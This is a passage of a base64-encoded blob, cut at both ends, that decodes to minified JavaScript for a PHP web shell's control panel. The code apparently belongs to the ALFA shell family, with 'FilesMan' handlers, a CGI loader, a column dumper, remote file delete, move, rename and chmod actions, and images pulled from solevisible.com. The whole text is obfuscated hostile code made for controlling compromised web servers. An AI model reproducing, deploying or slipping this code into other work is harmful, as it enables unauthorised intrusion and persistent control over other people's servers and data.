IpLGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YS5oYXNPd25Qcm9wZXJ0eSh0KXx8KGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XT17fSksdm9pZCAwPT09Y29sX2R1bXBlcl9zZWxlY3RlZF9kYXRhW3RdW2VdJiYoY29sX2R1bXBlcl9zZWxlY3RlZF9kYXRhW3RdW2VdPVtdKTt2YXIgYT10aGlzLmlubmVySFRNTCxpPWNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXS5pbmRleE9mKGEpOy0xPT1pP2NvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXS5wdXNoKGEpOmNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXS5zcGxpY2UoaSwxKX0pfWZ1bmN0aW9uIHNob3dTeW1saW5rUGF0aChlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoInJvdyIpLGk9JCgidGRfcm93XyIrYSksbD1lLmdldEF0dHJpYnV0ZSgib3B0X3RpdGxlIikscj1lLmdldEF0dHJpYnV0ZSgiZm5hbWUiKTtpZihsPWRlY29kZVVSSUNvbXBvbmVudChyKSsiIC0+ICIrbCxudWxsIT1pKXtpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsJzxkaXYgY2xhc3M9InN5bWxpbmtfcGF0aCIgaWQ9ImxpbmtfaWRfJythKyciPicrbCsiPC9kaXY+Iik7dmFyIG89dC5jbGllbnRYLG49dC5jbGllbnRZLTMwOyQoImxpbmtfaWRfIithKS5zdHlsZS5sZWZ0PW8rInB4IiwkKCJsaW5rX2lkXyIrYSkuc3R5bGUudG9wPW4rInB4In19ZnVuY3Rpb24gaGlkZVN5bWxpbmtQYXRoKGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKSwkKCJsaW5rX2lkXyIrZS5nZXRBdHRyaWJ1dGUoInJvdyIpKS5yZW1vdmUoKX1mdW5jdGlvbiBhbGZhZ2V0RmxhZ3MoKXtkYXRhPSJhPSIrYWxmYWI2NCgiZ2V0X2ZsYWdzIikrIiZjPSIrYWxmYWI2NChjXykrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpLF9BamF4KGQuVVJMLGRhdGEsZnVuY3Rpb24oZSl7dmFyIHQ9SlNPTi5wYXJzZShlKTt0Lmhhc093blByb3BlcnR5KCJzZXJ2ZXIiKSYmKGQucXVlcnlTZWxlY3RvckFsbCgiLmZsYWctaG9sZGVyIilbMF0uaW5uZXJIVE1MPSc8aW1nIGRyYWdnYWJsZT0iZmFsc2UiIHRpdGxlPSInK3Quc2VydmVyLm5hbWUrJyIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9mbGFncy80OC8nK3Quc2VydmVyLmNvZGUudG9Mb3dlckNhc2UoKSsnLnBuZyI+JyxkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5mbGFnLWhvbGRlciIpWzBdLnN0eWxlLmRpc3BsYXk9ImlubGluZSIpLHQuaGFzT3duUHJvcGVydHkoImNsaWVudCIpJiYoZC5xdWVyeVNlbGVjdG9yQWxsKCIuZmxhZy1ob2xkZXIiKVsxXS5pbm5lckhUTUw9JzxpbWcgZHJhZ2dhYmxlPSJmYWxzZSIgdGl0bGU9IicrdC5jbGllbnQubmFtZSsnIiBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2ZsYWdzLzQ4LycrdC5jbGllbnQuY29kZS50b0xvd2VyQ2FzZSgpKycucG5nIj4nLGQucXVlcnlTZWxlY3RvckFsbCgiLmZsYWctaG9sZGVyIilbMV0uc3R5bGUuZGlzcGxheT0iaW5saW5lIil9KX1mdW5jdGlvbiBjb2xEdW1wbGVyU2VsZWN0VHlwZShlKXt2YXIgdD1lLm9wdGlvbnNbZS5zZWxlY3RlZEluZGV4XS52YWx1ZTskKCJjb2xkdW1wZXItZGVsaW1pdGVyLWlucHV0Iikuc3R5bGUuZGlzcGxheT0iZGVsaW1pdGVyIj09dD8iaW5saW5lLWJsb2NrIjoibm9uZSJ9ZnVuY3Rpb24gYWxmYUNoZWNrVXJsSGFzaCgpe3ZhciBlPXdpbmRvdy5sb2NhdGlvbi5oYXNoLnN1YnN0cigxKSx0PWUuc3BsaXQoIiYiKS5yZWR1Y2UoZnVuY3Rpb24oZSx0KXt2YXIgYT10LnNwbGl0KCI9Iik7cmV0dXJuIGVbYVswXV09YVsxXSxlfSx7fSk7aWYoIiIhPWUpc3dpdGNoKHQuYWN0aW9uKXtjYXNlImZpbGVtYW4iOmNhc2Uib3B0aW9ucyI6dC5wYXRoPWRlY29kZVVSSUNvbXBvbmVudCh0LnBhdGgpLGcoIkZpbGVzTWFuIix0LnBhdGgsZnVuY3Rpb24oZSl7aWYodC5oYXNPd25Qcm9wZXJ0eSgiZmlsZSIpKXt2YXIgYT0iYXV0byI7aXNBcmNoaXZlKHQuZmlsZSkmJihhPSJ2aWV3IiksZWRpdG9yKHQucGF0aCsiLyIrdC5maWxlLGEsIiIsIiIsIiIsImZpbGUiKX19KSwib3B0aW9ucyI9PXQuYWN0aW9uJiZ0Lmhhc093blByb3BlcnR5KCJvcHQiKSYmKGFsZmFfY2FuX2FkZF9vcHQ9ITAsZyh0Lm9wdCxudWxsLCIiLCIiLCIiKSxkLnF1ZXJ5U2VsZWN0b3IoIi5vcHQtdGl0bGUiKS5pbm5lckhUTUw9JCgibWVudV9vcHRfIit0Lm9wdCkuaW5uZXJIVE1MKSx0Lmhhc093blByb3BlcnR5KCJmaWxlIil8fGVkaXRvckNsb3NlKCJlZGl0b3IiKSx0Lmhhc093blByb3BlcnR5KCJvcHQiKXx8ZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpO2JyZWFrO2RlZmF1bHQ6ZygiRmlsZXNNYW4iLCI8P3BocCBlY2hvICRHTE9CQUxTWyJjd2QiXTsgPz4iKSxlZGl0b3JDbG9zZSgiZWRpdG9yIiksZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpfWVsc2UgZygiRmlsZXNNYW4iLCI8P3BocCBlY2hvICRHTE9CQUxTWyJjd2QiXTsgPz4iKSxlZGl0b3JDbG9zZSgiZWRpdG9yIiksZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpfWZ1bmN0aW9uIGFsZmFGbW5nckNvbnRleHRSb3coKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5mbWFuYWdlci1yb3cgYS5tYWluX25hbWUiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuYWRkRXZlbnRMaXN0ZW5lcigiY29udGV4dG1lbnUiLGZ1bmN0aW9uKGUpe3ZhciB0PWUudGFyZ2V0LGE9IiI7aWYoIi4uIj09KGE9IkEiPT1lLnRhcmdldC5wYXJlbnRFbGVtZW50LnRhZ05hbWU/KHQ9ZS50YXJnZXQucGFyZW50RWxlbWVudCkuZ2V0QXR0cmlidXRlKCJmbmFtZSIpOnQuZ2V0QXR0cmlidXRlKCJmbmFtZSIpKSlyZXR1cm4hMTt2YXIgaT10LmdldEF0dHJpYnV0ZSgiaWQiKSxsPXQuZ2V0QXR0cmlidXRlKCJwYXRoIikscj10LmdldEF0dHJpYnV0ZSgiZnR5cGUiKSxvPVsibmV3dGFiIiwibGluayIsImRvd25sb2FkIiwidmlldyIsImVkaXQiLCJtb3ZlIiwiY29weSIsInJlbmFtZSIsIm1vZGlmeSIsInBlcm1pc3Npb24iLCJjb21wcmVzcyIsImV4dHJhY3QiLCJkZWxldGUiXTtmb3IodmFyIG4gaW4iZmlsZSIhPXJ8fGlzQXJjaGl2ZShhKT9vWzNdPSJ2aWV3X2FyY2hpdmUiOm8uc3BsaWNlKDExLDEpLCJmb2xkZXIiPT1yJiYobz1bIm5ld3RhYiIsImxpbmsiLCJtb3ZlIiwiY29weSIsInJlbmFtZSIsIm1vZGlmeSIsInBlcm1pc3Npb24iLCJjb21wcmVzcyIsImRlbGV0ZSJdKSxhbGZhU29ydE1lbnVJdGVtcyhvKSxvKXt2YXIgcz1kLnF1ZXJ5U2VsZWN0b3IoIiNyaWdodGNsaWNrX21lbnUgPiBhW25hbWU9IitvW25dKyJdIik7c3dpdGNoKHMuc2V0QXR0cmlidXRlKCJmaWQiLGkpLHMuc2V0QXR0cmlidXRlKCJmbmFtZSIsZGVjb2RlVVJJQ29tcG9uZW50KGEpKSxzLnNldEF0dHJpYnV0ZSgicGF0aCIsbCkscy5zZXRBdHRyaWJ1dGUoImZ0eXBlIixyKSxvW25dKXtjYXNlInZpZXciOmNhc2UiZWRpdCI6dmFyIGM9ImF1dG8iOyJlZGl0Ij09b1tuXSYmKGM9ImVkaXQiKSxzLnNldEF0dHJpYnV0ZSgiaHJlZiIsIiNhY3Rpb249ZmlsZW1hbiZwYXRoPSIrY18rIi8mZmlsZT0iK2EpLHMuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZWRpdG9yKCciK2ErIicsJyIrYysiJywnJywnJywnJywnZmlsZScpIik7YnJlYWs7Y2FzZSJuZXd0YWIiOnZhciB1PWE7ImZpbGUiPT1yPyh1PSImZmlsZT0iK2Escy5zZXRBdHRyaWJ1dGUoImhyZWYiLCIjYWN0aW9uPWZpbGVtYW4mcGF0aD0iK2NfKyIvIit1KSxzLnNldEF0dHJpYnV0ZSgidGFyZ2V0IiwiX2JsYW5rIikscy5vbmNsaWNrPWZ1bmN0aW9uKCl7fSk6KHMuc2V0QXR0cmlidXRlKCJocmVmIiwiamF2YXNjcmlwdDp2b2lkKDApIikscy5yZW1vdmVBdHRyaWJ1dGUoInRhcmdldCIpLHMub25jbGljaz1mdW5jdGlvbigpe2FsZmFGaWxlc01hbk5ld1RhYihjXyx1KX0pO2JyZWFrO2Nhc2UiZGVsZXRlIjpzLnNldEF0dHJpYnV0ZSgib25jbGljayIsInZhciBjaGsgPSBjb25maXJtKCdBcmUgWW91IFN1cmUgRm9yIERlbGV0ZSAjICIrYSsiICMgPycpOyBjaGsgPyBnKCdGaWxlc01hbicsbnVsbCwnZGVsZXRlJywgJyIrYSsiJykgOiAnJzsiKTticmVhaztjYXNlImRvd25sb2FkIjpzLnNldEF0dHJpYnV0ZSgib25jbGljayIsImcoJ0ZpbGVzVG9vbHMnLG51bGwsJyIrYSsiJywgJ2Rvd25sb2FkJykiKTticmVhaztjYXNlInBlcm1pc3Npb24iOnRyeXt2YXIgcD1kLnF1ZXJ5U2VsZWN0b3IoIiNpZF9jaG1vZGVfIitpLnJlcGxhY2UoImlkXyIsIiIpKyIgc3BhbiIpLmlubmVySFRNTDtzLnNldEF0dHJpYnV0ZSgicGVybSIscC50cmltKCkpfWNhdGNoKGUpe31icmVhaztjYXNlImxpbmsiOnMuc3R5bGUuZGlzcGxheT0iYmxvY2siO3ZhciBmPSI8P3BocCBlY2hvICRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl07ID8+LyIsbT0oY18rIi8iK2EpLnJlcGxhY2UoL1wvXC8vZywiLyIpO2lmKC0xIT1tLmluZGV4T2YoZikpe2Y9bS5yZXBsYWNlKGYsIiIpO3ZhciBiPWxvY2F0aW9uLm9yaWdpbisiLyIrZjtzLnNldEF0dHJpYnV0ZSgiaHJlZiIsIiIrYil9ZWxzZSBzLnN0eWxlLmRpc3BsYXk9Im5vbmUifX12YXIgeT1lLmNsaWVudFgsXz1lLmNsaWVudFk7YWxmYVJpZ2h0Q2xpY2tNZW51KHksXyksZS5wcmV2ZW50RGVmYXVsdCgpfSl9KX1mdW5jdGlvbiBhbGZhRmlsZXNNYW5OZXdUYWIoZSx0LGEpe3ZhciBpPXQ7dm9pZCAwIT09YSYmKGk9YWxmYUdldExhc3RGb2xkZXJOYW1lKGUpKTt2YXIgbD1kZWNvZGVVUklDb21wb25lbnQoZSsiLyIrdCk7bD1sLnJlcGxhY2UoL1wvXC8vZywiLyIpO3ZhciByPSQoImZpbGVzbWFuX3RhYl8xIiksbz1yLmdldEF0dHJpYnV0ZSgiZm1fY291bnRlciIpO289cGFyc2VJbnQobykrMSxyLnNldEF0dHJpYnV0ZSgiZm1fY291bnRlciIsbyksZC5xdWVyeVNlbGVjdG9yKCIjZmlsZXNtYW5fdGFic19jaGlsZCIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwnPGRpdiBvbm1vdXNlb3Zlcj0iYWxmYUZpbGVzbWFuVGFiU2hvd1RpdGxlKHRoaXMsZXZlbnQpOyIgb25tb3VzZW91dD0iYWxmYUZpbGVzbWFuVGFiSGlkZVRpdGxlKHRoaXMsZXZlbnQpOyIgcGF0aD0iJytsKyciIGlkPSJmaWxlc21hbl90YWJfJytvKyciIGZtX2lkPSInK28rJyIgb25jbGljaz0iZmlsZXNtYW5UYWJDb250cm9sbGVyKHRoaXMpOyIgZm5hbWU9IicrdCsnIiBjbGFzcz0iZmlsZXNtYW5fdGFiIj48aW1nIGNsYXNzPSJmb2xkZXItdGFiLWljb24iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2ZvbGRlcjIuc3ZnIj4gPHNwYW4gY2xhc3M9ImZpbGVzbWFuLXRhYi1mb2xkZXItbmFtZSI+JytpKyc8L3NwYW4+IDxpbWcgZm1faWQ9IicrbysnIiBvbmNsaWNrPSJjbG9zZUZtVGFiKHRoaXMsZXZlbnQpO3JldHVybiBmYWxzZTsiIHRpdGxlPSJbY2xvc2VdIiBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9kZWxldGUuc3ZnIj48L2Rpdj4nKSxkLnF1ZXJ5U2VsZWN0b3IoIi5hamF4YXJlYSIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlYmVnaW4iLCc8ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiIGZtX2lkPSInK28rJyIgaWQ9ImZpbGVzbWFuX2hvbGRlcl8nK28rJyIgY2xhc3M9ImFqYXhhcmVhIj48ZGl2IGNsYXNzPSJoZWFkZXIiPjwvZGl2PjwvZGl2PicpLGFsZmFfZm1faWQ9byxnKCJGaWxlc01hbiIsbCksYWxmYV9mbV9pZD0wfWZ1bmN0aW9uIGFsZmFGaWxlc21hblRhYlNob3dUaXRsZShlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9JCgiZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aCIpO2Euc3R5bGUuZGlzcGxheT0iYmxvY2siLGEuc3R5bGUudG9wPWUub2Zmc2V0VG9wLTM3KyJweCIsYS5zdHlsZS5sZWZ0PWUub2Zmc2V0TGVmdC0kKCJmaWxlc21hbl90YWJzIikuc2Nyb2xsTGVmdCsicHgiLGEuaW5uZXJIVE1MPWUuZ2V0QXR0cmlidXRlKCJwYXRoIil9ZnVuY3Rpb24gYWxmYUZpbGVzbWFuVGFiSGlkZVRpdGxlKGUsdCl7JCgiZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aCIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifWZ1bmN0aW9uIGFsZmFQb3B1cEFjdGlvbihlLHQpe3ZhciBhPSIiLGk9IiI7c3dpdGNoKHQpe2Nhc2UicmVuYW1lIjphPSJPbGQgZmlsZSBuYW1lOiIsaT0iTmV3IGZpbGUgbmFtZToiO2JyZWFrO2Nhc2UiY29weSI6YT0iRmlsZSBwYXRoOiIsaT0iRW50ZXIgdGhlIGZpbGUgcGF0aCB0aGF0IHlvdSB3YW50IHRvIGNvcHkgdGhpcyBmaWxlIHRvOiI7YnJlYWs7Y2FzZSJtb3ZlIjphPSJDdXJyZW50IFBhdGg6IixpPSJFbnRlciB0aGUgZmlsZSBwYXRoIHRoYXQgeW91IHdhbnQgdG8gbW92ZSB0aGlzIGZpbGUgdG86IjticmVhaztjYXNlImV4dHJhY3QiOmE9IkZpbGVzIHRvIGV4dHJhY3Q6IixpPSJFbnRlciB0aGUgcGF0aCB5b3Ugd2lzaCB0byBleHRyYWN0IHRoZSBmaWxlcyB0byBhbmQgY2xpY2sgRXh0cmFjdDoifXZhciBsPWUuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLHI9ZS5nZXRBdHRyaWJ1dGUoInBhdGgiKSxvPXQuY2hhckF0KDApLnRvVXBwZXJDYXNlKCkrdC5zbGljZSgxKTtpZigicGVybWlzc2lvbiI9PXQpe2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIiKS5zdHlsZS5oZWlnaHQ9IjIyMnB4IixvPSJDaGFuZ2UgUGVybWlzc2lvbnMiLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtID4gLnBlcm0tdGFibGUtaG9sZGVyIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtID4gaW5wdXRbbmFtZT1mbmFtZV0iKS5zdHlsZS5kaXNwbGF5PSJub25lIjt2YXIgbj1lLmdldEF0dHJpYnV0ZSgicGVybSIpLHM9bi5zdWJzdHIoMSwxKSxjPW4uc3Vic3RyKDIsMSksdT1uLnN1YnN0cigzLDEpO2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9dV0iKS52YWx1ZT1zLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9Z10iKS52YWx1ZT1jLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9d10iKS52YWx1ZT11LGF1dG9DaGVja1Blcm1zKHMsInUiLFsidSIsImciLCJ3Il0pLGF1dG9DaGVja1Blcm1zKGMsImciKSxhdXRvQ2hlY2tQZXJtcyh1LCJ3Iil9ZWxzZSBkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIikuc3R5bGUuaGVpZ2h0PSIxOTBweCIsZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5wZXJtLXRhYmxlLWhvbGRlciIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiO3ZhciBwPSJtb3ZlIj09dHx8ImNvcHkiPT10P3IrbDpsO2lmKCJtb2RpZnkiPT10KXt2YXIgZj0idHJfcm93XyIrZS5nZXRBdHRyaWJ1dGUoImZpZCIpLnJlcGxhY2UoImlkXyIsIiIpO3A9ZC5xdWVyeVNlbGVjdG9yKCIjIitmKyIgLm1haW5fbW9kaWZ5IikuaW5uZXJUZXh0fWQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgLnBvcHVwLWhlYWQiKS5pbm5lckhUTUw9byxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIC5vbGQtcGF0aC1sYmwiKS5pbm5lckhUTUw9YSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIC5uZXctZmlsZW5hbWUtbGJsIikuaW5uZXJIVE1MPWksZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciAucG9wdXAtZm9vdCA+IGJ1dHRvbltuYW1lPWFjY2VwdF0iKS5pbm5lckhUTUw9byxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MPXIrbCxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IGlucHV0W25hbWU9Zm5hbWVdIikudmFsdWU9cCxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIGJ1dHRvbltuYW1lPWFjY2VwdF0iKS5zZXRBdHRyaWJ1dGUoImZpZCIsZS5nZXRBdHRyaWJ1dGUoImZpZCIpKSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIGJ1dHRvbltuYW1lPWFjY2VwdF0iKS5zZXRBdHRyaWJ1dGUoImFjdGlvbiIsdCl9ZnVuY3Rpb24gY2FsY3Blcm0oKXt2YXIgZT1ldmVudC5zcmNFbGVtZW50O2F1dG9DaGVja1Blcm1zKGUuY2hlY2tlZCxlLm5hbWUuc3Vic3RyKDAsMSkpfWZ1bmN0aW9uIGF1dG9DaGVja1Blcm1zKGUsdCxhKXtpZih2b2lkIDAhPT1hKWZvcih2YXIgaSBpbiBhKXt2YXIgbD1hW2ldO2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9IitsKyJyXSIpLmNoZWNrZWQ9ITEsZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT0iK2wrInddIikuY2hlY2tlZD0hMSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPSIrbCsieF0iKS5jaGVja2VkPSExfXZhciByPWQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9Iit0KyJyXSIpLG89ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT0iK3QrInddIiksbj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPSIrdCsieF0iKTtpZigiYm9vbGVhbiIhPXR5cGVvZiBlKSI3Ij09ZT8oci5jaGVja2VkPSEwLG8uY2hlY2tlZD0hMCxuLmNoZWNrZWQ9ITApOiI0Ij09ZT9yLmNoZWNrZWQ9ITA6IjIiPT1lP28uY2hlY2tlZD0hMDoiMSI9PWU/bi5jaGVja2VkPSEwOiI2Ij09ZT8oci5jaGVja2VkPSEwLG8uY2hlY2tlZD0hMCk6IjMiPT1lPyhvLmNoZWNrZWQ9ITAsbi5jaGVja2VkPSEwKToiNSI9PWUmJihyLmNoZWNrZWQ9ITAsbi5jaGVja2VkPSEwKTtlbHNle3ZhciBzPTA7ci5jaGVja2VkJiYocys9NCksby5jaGVja2VkJiYocys9Miksbi5jaGVja2VkJiYocys9MSksInUiPT10P2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9dV0iKS52YWx1ZT1zOiJnIj09dD9kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPWddIikudmFsdWU9czoidyI9PXQmJihkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXddIikudmFsdWU9cyl9fWZ1bmN0aW9uIGdnKGUsdCxhLGksbCxyKXt2YXIgbz0iZmlsZXNtYW5faG9sZGVyXyIrYWxmYV9jdXJyZW50X2ZtX2lkO2FsZmFsb2FkZXIobywiYmxvY2siKSxkYXRhPSJhPSIrYWxmYWI2NChlKSsiJmM9IithbGZhYjY0KHQpKyImYWxmYTE9IithbGZhYjY0KGEpKyImYWxmYTI9IithbGZhYjY0KGkpKyImYWxmYTM9IithbGZhYjY0KGwpKyImYWpheD0iK2FsZmFiNjQoInRydWUiKSxfQWpheChkLlVSTCxkYXRhLHIsITEsbyl9ZnVuY3Rpb24gYWxmYVBvcFVwRG9BY3Rpb24oZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImFjdGlvbiIpO3N3aXRjaCh0KXtjYXNlInJlbmFtZSI6Y2FzZSJtb3ZlIjpjYXNlImNvcHkiOnZhciBhPWUuZ2V0QXR0cmlidXRlKCJmaWQiKS5yZXBsYWNlKCJpZF8iLCIiKSxpPSQoImlkXyIrYSkuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLGw9ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnZhbHVlO2w9bC50cmltKCksaT1pLnRyaW0oKSxnZygiZG9BY3Rpb25zIixjXyxpLGwsdCxmdW5jdGlvbihlLGkpe2lmKCJyZW5hbWUiPT10KWlmKCJkb25lIj09ZSl7dmFyIHI9JCgiaWRfIithKTt1cGRhdGVGaWxlRWRpdG9yKGEsbCk7dmFyIG89ci5nZXRBdHRyaWJ1dGUoInBhdGgiKSskKCJpZF8iK2EpLmdldEF0dHJpYnV0ZSgiZm5hbWUiKTtkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MPW8sci5hZGRFdmVudExpc3RlbmVyKCJhbmltYXRpb25lbmQiLGZ1bmN0aW9uKCl7ci5jbGFzc0xpc3QucmVtb3ZlKCJ0ZXh0RWZmZWN0Iil9KSxyLmNsYXNzTGlzdC5hZGQoInRleHRFZmZlY3QiKSxhbGZhU2hvd05vdGlmaWNhdGlvbigiUmVuYW1lZC4uLiIsIlJlbmFtZSBBY3Rpb24iKSxkLnF1ZXJ5U2VsZWN0b3IoIi5jbC1wb3B1cC1maXhlZCIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifWVsc2UgYWxmYVNob3dOb3RpZmljYXRpb24oImVycm9yLi4uISIsIlJlbmFtZSBBY3Rpb24iLCJlcnJvciIpO2FsZmFsb2FkZXIoaSwibm9uZSIpfSk7YnJlYWs7Y2FzZSJwZXJtaXNzaW9uIjp2YXIgcj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXVdIikudmFsdWUsbz1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPWddIikudmFsdWUsbj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXddIikudmFsdWU7aT0oaT1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MKS50cmltKCk7dmFyIHM9ci50cmltKCkrby50cmltKCkrbi50cmltKCk7Z2coImRvQWN0aW9ucyIsY18saSxzLHQsZnVuY3Rpb24oZSx0KXthbGZhbG9hZGVyKHQsIm5vbmUiKSxhbGZhU2hvd05vdGlmaWNhdGlvbihlLCJQZXJtaXNzaW9uIEFjdGlvbiIpLGQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0ibm9uZSJ9KTticmVhaztjYXNlIm1vZGlmeSI6YT1lLmdldEF0dHJpYnV0ZSgiZmlkIikucmVwbGFjZSgiaWRfIiwiIik7dmFyIGM9ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnZhbHVlLHU9JCgiaWRfIithKS5nZXRBdHRyaWJ1dGUoImZuYW1lIik7Z2coImRvQWN0aW9ucyIsY18sYyx1LHQsZnVuY3Rpb24odCxhKXtpZigib2siPT10KXt2YXIgaT0idHJfcm93XyIrZS5nZXRBdHRyaWJ1dGUoImZpZCIpLnJlcGxhY2UoImlkXyIsIiIpO2QucXVlcnlTZWxlY3RvcigiIyIraSsiIC5tYWluX21vZGlmeSIpLmlubmVySFRNTD1jLGFsZmFTaG93Tm90aWZpY2F0aW9uKCJzdWNjZXNzLi4uIiwiTW9kaWZ5IEFjdGlvbiIpLGQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0ibm9uZSJ9ZWxzZSBhbGZhU2hvd05vdGlmaWNhdGlvbih0LCJNb2RpZnkgQWN0aW9uIiwiZXJyb3IiKTthbGZhbG9hZGVyKGEsIm5vbmUiKX0pfX1mdW5jdGlvbiBhbGZhSW5pdFNvcmF0YWJsZVRhYihlKXtTb3J0YWJsZS5jcmVhdGUoZSx7ZGlyZWN0aW9uOiJob3Jpem9udGFsIixhbmltYXRpb246MzAwLGdob3N0Q2xhc3M6InNvcnRhYmxlLWdob3N0IixmaWx0ZXI6Ii5ub3Qtc29ydGFibGUifSl9JCgic2VhcmNoL